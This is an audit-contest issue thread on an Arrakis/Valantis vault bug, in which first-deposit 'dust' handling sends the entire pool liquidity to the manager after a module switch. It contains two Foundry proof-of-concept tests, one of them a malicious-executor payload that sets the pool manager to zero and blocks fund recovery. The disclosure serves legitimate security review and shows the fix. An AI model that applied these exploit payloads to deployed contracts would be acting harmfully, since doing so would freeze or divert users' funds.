search

sherlock-audit / 2024-03-arrakis-judging

2 stars 2 forks source link

juaan - Incorrect handling of first deposit for new modules leads to all liquidity sent to vault manager #27

Open sherlock-admin4 opened 2 months ago

sherlock-admin4 commented 2 months ago

juaan

high

Incorrect handling of first deposit for new modules leads to all liquidity sent to vault manager

Summary

See detail.

Vulnerability Detail

The following logic is implemented in ValantisHOTModulePublic.deposit() :

(uint256 _amt0, uint256 _amt1) = pool.getReserves();

if (!notFirstDeposit) {
  if (_amt0 > 0 || _amt1 > 0) {

      // #region send dust on pool to manager.
      address manager = metaVault.manager();
      alm.withdrawLiquidity(_amt0, _amt1, manager, 0, 0);
      // #endregion send dust on pool to manager.

  }
  _amt0 = _init0;
  _amt1 = _init1;
  notFirstDeposit = true;
}

This code assumes that the reserves of the pool (_amt0, _amt1) will be dust amounts.

The case that the protocol did not consider:

This module could be a new module that was set via ArrakisMetaVault.setModule() .

When setModule() is called, it withdraws all the liquidity through the old module:

_module.withdraw(module_, BASE); 
// BASE means withdraw 100% of the liquidity
// the new module (module_) is the receiver of the liquidity

(_module is the old module, and module_ is the newly set one)

Then, all the funds are directly transferred to the new module, and initializePosition is called to deposit it into the pool.

This issue is that the notFirstDeposit boolean is still false, indicating that the first deposit has not yet occured.

Then when the first deposit occurs in the module, the ‘dust removal’ logic shown earlier is triggered in the the new module.

However all the liquidity from the old module has been deposited via the new one.

This means that _amt0 and _amt1 will not be dust, as they represent the entire liquidity of the pool.

Then, as shown in the PoC, the ‘dust removal’ logic withdraws the entire liquidity of the pool, and sends it to the manager of the meta vault (ArrakisStandardManager).

So far, while this is already a severe error, it’s not all bad since the owner of ArrakisStandardManager is trusted, and they can withdraw the funds via withdrawManagerBalance() and return the funds so that users don’t lose any funds.

However, it gets even worse, because a malicious executor can DOS the withdrawManagerBalance() function for that specific vault. There is a PoC for the DOS in the ‘Proof of Concept’ section of this report, but here is the summary:

Impact

100% of the pool liquidity is lost after the first deposit occurs in a new module. It is sent to the ArrakisStandardManager

The value of everyone’s shares in the vault goes to effectively zero.

Then due to the DOS by the malicious executor, the funds cannot be withdrawn from the manager by calling withdrawManagerBalance(vault).

The only way would be to deploy an entirely new vault with the same token0 and token1 , and then calling withdrawManagerBalance(newVault) to collect the tokens from the ArrakisStandardManager contract.

Code Snippet

https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/modules/ValantisHOTModulePublic.sol#L53-L69

Proof of Concept

Make new files in arrakis-modular/test/integration to run these PoCs.

Foundry Test ```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.19; // Foundry imports import {console} from "forge-std/console.sol"; import {Vm} from "forge-std/Vm.sol"; import {ArrakisMetaVaultPublic} from "../../src/ArrakisMetaVaultPublic.sol"; import {ArrakisMetaVault} from "../../src/abstracts/ArrakisMetaVault.sol"; import {TimeLock} from "../../src/TimeLock.sol"; import {ArrakisStandardManager} from "../../src/ArrakisStandardManager.sol"; import {IModuleRegistry} from "../../src/interfaces/IModuleRegistry.sol"; import {ValantisModulePublic} from "../../src/modules/ValantisHOTModulePublic.sol"; import {TEN_PERCENT} from "../../src/constants/CArrakis.sol"; import {ValantisModule} from "../../src/abstracts/ValantisHOTModule.sol"; import {IArrakisMetaVaultPublic} from "../../src/interfaces/IArrakisMetaVaultPublic.sol"; import {IArrakisMetaVault} from "../../src/interfaces/IArrakisMetaVault.sol"; import {IOwnable} from "../../src/interfaces/IOwnable.sol"; import {SovereignPool} from "../../lib/valantis-hot/lib/valantis-core/src/pools/SovereignPool.sol"; // Mocks import {OracleWrapper} from "./mocks/OracleWrapper.sol"; import {SovereignPoolMock} from "./mocks/SovereignPoolMock.sol"; import {SovereignALMMock} from "./mocks/SovereignALMMock.sol"; //Base Test import {ValantisIntegrationPublicTest} from "./ValantisIntegrationPublic.t.sol"; contract PoC_FundsSentToArrakisManager_Incorrectly is ValantisIntegrationPublicTest { address vaultManager; address minter; address public constant OWNER_EOA = 0x529a65684a6923958ab6b7DF7B909a8D5e1580ae; function test_fundsSentTo_ArrakisManager_incorrectly() public { // #region Vault Init minter = makeAddr("minter"); vaultManager = IArrakisMetaVault(vault).manager(); deal(address(token0), minter, init0); // 2000e6 (0: USDC) deal(address(token1), minter, init1); // 1e18 (1: WETH) vm.label(address(token0), "token0"); vm.label(address(token1), "token1"); address oldModule = address(IArrakisMetaVault(vault).module()); SovereignPoolMock newPool = new SovereignPoolMock(); newPool.setToken0AndToken1(address(token0), address(token1)); //User mints from meta vault, using old module vm.startPrank(minter); token0.approve(oldModule, init0); token1.approve(oldModule, init1); IArrakisMetaVaultPublic(vault).mint(1e18, minter); vm.stopPrank(); // #endregion Vault Init console.log( "\n [Before]\n Old Pool's Balance:\n token0: %e\n token1: %e", token0.balanceOf(address(pool)), token1.balanceOf(address(pool)) ); console.log( "ArrakisStandardManager's Before:\n token0: %e\n token1: %e", token0.balanceOf(address(vaultManager)), token1.balanceOf(address(vaultManager)) ); TimeLock timelock = TimeLock(payable(IOwnable(vault).owner())); // Initialisation Data for the newly whitelisted module bytes[] memory initData = new bytes[](1); initData[0] = abi.encodeWithSelector( ValantisModule.initialize.selector, address(newPool), 1e18, 1e18, 1e5, vault ); bytes memory whitelistModulesPayload = abi.encodeWithSelector( ArrakisMetaVault.whitelistModules.selector, IModuleRegistry(moduleRegistry).beacons(), // use the existing module implementation, no changes needed initData ); //Whitelist the new module vm.startPrank(OWNER_EOA); timelock.schedule(vault, 0, whitelistModulesPayload, bytes32(0), bytes32(uint256(0xff)), 2 days); vm.warp(block.timestamp + 2 days); timelock.execute(vault, 0, whitelistModulesPayload, bytes32(0), bytes32(uint256(0xff))); vm.stopPrank(); bytes memory almPayload = abi.encodeWithSelector( ValantisModule.setALMAndManagerFees.selector, address(new SovereignALMMock(address(token0), address(token1), address(newPool))), oracle ); address[] memory modules = ArrakisMetaVaultPublic(vault).whitelistedModules(); // set ALM for the new module //note: A mock ALM is used for simplicity of setup, but it will still work with a real ALM vm.startPrank(OWNER_EOA); timelock.schedule(modules[1], 0, almPayload, bytes32(0), bytes32(uint256(0xff)), 2 days); vm.warp(block.timestamp + 2 days); timelock.execute(modules[1], 0, almPayload, bytes32(0), bytes32(uint256(0xff))); vm.stopPrank(); // A call will be made to the new module to initialize the LP position bytes[] memory payloads = new bytes[](1); // initializePosition (Deposits liquidity into ALM) payloads[0] = abi.encodeWithSelector( ValantisModule.initializePosition.selector ); // Set the module and pass in payload vm.startPrank(executor); ArrakisStandardManager(payable(manager)).setModule(vault, modules[1], payloads); console.log( "\n [After Setting New Module and Initializing Position]\n New Pool's Balance:\n token0: %e\n token1: %e", token0.balanceOf(address(newPool)), token1.balanceOf(address(newPool)) ); console.log( "ArrakisStandardManager's Balance After:\n token0: %e\n token1: %e", token0.balanceOf(vaultManager), token1.balanceOf(vaultManager) ); assertEq(token0.balanceOf(address(newPool)), 2e9); assertEq(token1.balanceOf(address(newPool)), 1e18); deal(address(token0), minter, init0); // 2000e6 (0: USDC) deal(address(token1), minter, init1); // 1e18 (1: WETH) address newModule = modules[1]; //Now, a minter mints shares from the vault, as the first depositor vm.startPrank(minter); token0.approve(newModule, 1e3); token1.approve(newModule, 1e3); IArrakisMetaVaultPublic(vault).mint(1e3, minter); vm.stopPrank(); // Assert that the entire liquidity has been sent to the ArrakisStandardManager assertEq(token0.balanceOf(vaultManager), 2e9); assertEq(token1.balanceOf(vaultManager), 1e18); console.log( "\n [After First Deposit]\n New Pool's Balance:\n token0: %e\n token1: %e", token0.balanceOf(address(newPool)), token1.balanceOf(address(newPool)) ); console.log( "ArrakisStandardManager's Balance After:\n token0: %e\n token1: %e", token0.balanceOf(vaultManager), token1.balanceOf(vaultManager) ); } } ```

Note: the DOS has a separate PoC since it does not use any mocks, while the first PoC uses 2 mocks for simplicity of setup

Fund collection DOS PoC ```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.19; // Foundry Imports import {console} from "forge-std/console.sol"; import {Vm} from "forge-std/Vm.sol"; import {Test} from "forge-std/Test.sol"; // Arrakis Imports import {IArrakisMetaVaultPublic} from "../../src/interfaces/IArrakisMetaVaultPublic.sol"; import {IArrakisMetaVault} from "../../src/interfaces/IArrakisMetaVault.sol"; import {IArrakisStandardManager} from "../../src/interfaces/IArrakisStandardManager.sol"; // Valantis Imports import {IValantisHOTModule} from "../../src/interfaces/IValantisHOTModule.sol"; import {SovereignPool} from "../../lib/valantis-hot/lib/valantis-core/src/pools/SovereignPool.sol"; import {HOT} from "@valantis-hot/contracts/HOT.sol"; // General Imports import {IOwnable} from "../../src/interfaces/IOwnable.sol"; // Base Test import {ValantisIntegrationPublicTest} from "./ValantisIntegrationPublic.t.sol"; contract PoC_ChangePoolManager_ToZeroAddress is ValantisIntegrationPublicTest { address attacker; address rec; function test_old_changePoolManager_toZeroAddress() public { rec = makeAddr("rec"); attacker = makeAddr("attacker"); address m = address(IArrakisMetaVault(vault).module()); assertEq(pool.poolManager(), m); deal(address(token0), rec, init0); // 2000e6 (0: USDC) deal(address(token1), rec, init1); // 1e18 (1: WETH) //@e user mints from meta vault vm.startPrank(rec); token0.approve(m, init0); token1.approve(m, init1); IArrakisMetaVaultPublic(vault).mint(1e18, rec); vm.stopPrank(); uint256 FEE_AMOUNT_0 = 1 wei; uint256 FEE_AMOUNT_1 = 1 wei; //@e Simulating 1 wei of fees in the `SovereignPool` vm.store(address(pool), bytes32(uint(5)), bytes32(FEE_AMOUNT_0)); vm.store(address(pool), bytes32(uint(6)), bytes32(FEE_AMOUNT_1)); // Sending the fee to the pool deal(address(token0), address(pool), token0.balanceOf(address(pool)) + FEE_AMOUNT_0); deal(address(token1), address(pool), token1.balanceOf(address(pool)) + FEE_AMOUNT_1); bool zeroForOne = false; uint256 amountIn = 1; // Using small values since we are not actually swapping anything uint256 expectedMinReturn = 1; //uint256 lowestRatio = FullMath.mulDiv(IOracleWrapper(oracle).getPrice1(), 1e6 - IValantisHOTModule(m).maxSlippage(), 1e6); //uint256 lowest_expectedMinReturn = 1+ FullMath.mulDiv(lowestRatio, amountIn, 10 ** ERC20(token1).decimals()); bytes memory payload = abi.encodeWithSelector( SovereignPool.setPoolManager.selector, address(0) // new poolmanager ); bytes memory data = abi.encodeWithSelector( IValantisHOTModule.swap.selector, zeroForOne, expectedMinReturn, amountIn, address(pool), 0, //note: this 0,0 lets us skip the checks in `HOT::_checkSpotPriceRange` during depositLiquidity 0, payload ); bytes[] memory datas = new bytes[](1); datas[0] = data; (uint256 reserves0Before, uint256 reserves1Before) = pool.getReserves(); // Perform the attack vm.prank(executor); IArrakisStandardManager(manager).rebalance(vault, datas); (uint256 reserves0After, uint256 reserves1After) = pool.getReserves(); assertEq(pool.poolManager(), address(0)); // Assert that fees meant for the manager were re-deposited assertEq(reserves0After, reserves0Before + FEE_AMOUNT_0); assertEq(reserves1After, reserves1Before + FEE_AMOUNT_1); // Assert that the function cannot be called anymore vm.startPrank(IOwnable(manager).owner()); vm.expectRevert(); IArrakisStandardManager(manager).withdrawManagerBalance(address(vault)); } } ```

Tool used

Manual Review

Recommendation

Rework the code, while keeping in mind that the initial balances may not be dust.

0xjuaan commented 2 months ago

Escalate

This is not a dupe of #28, but instead should be duped with #25 and #14

sherlock-admin3 commented 2 months ago

Escalate

This is not a dupe of #28, but instead should be duped with #25 and #14

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

WangSecurity commented 2 months ago

@0xjuaan correct me if I'm wrong, but as I understand, this issue is possible currently, unlike #25 which is possible only after the fix of this issue correct?

0xjuaan commented 2 months ago

yes that is correct @WangSecurity

WangSecurity commented 2 months ago

Planning to accept the escalation and make a new high severity issue family with #14 as duplicate.

IWildSniperI commented 2 months ago

@WangSecurity

So far, while this is already a severe error, it’s not all bad since the owner of ArrakisStandardManager is trusted, and they can withdraw the funds via withdrawManagerBalance() and return the funds so that users don’t lose any funds.

The bug is yet dependant on the root cause of malicious '_router' unverified call

In 'setPoolManager' call

WangSecurity commented 2 months ago

@IWildSniperI yep, that’s what I’m trying to understand on all the issues involving malicious executor and payloads

WangSecurity commented 2 months ago

Depending on the discussion under #50. The decision remains the same. I'm planning to separate bugs where the malicious executor exploits the protocol via malicious payloads in rebalance and setModule cause these 2 functions have significantly different implementations. This and #14 are not duplicates of #50 based on this comment.

Planning to accept the escalation and make a new issue family with high severity. Duplicate is #14

WangSecurity commented 2 months ago

Result: High Has duplicates

sherlock-admin2 commented 2 months ago

Escalations have been resolved successfully!

Escalation status:

sherlock-admin2 commented 2 months ago

The protocol team fixed this issue in the following PRs/commits: https://github.com/ArrakisFinance/arrakis-modular/pull/88

sherlock-admin2 commented 2 months ago

The Lead Senior Watson signed off on the fix.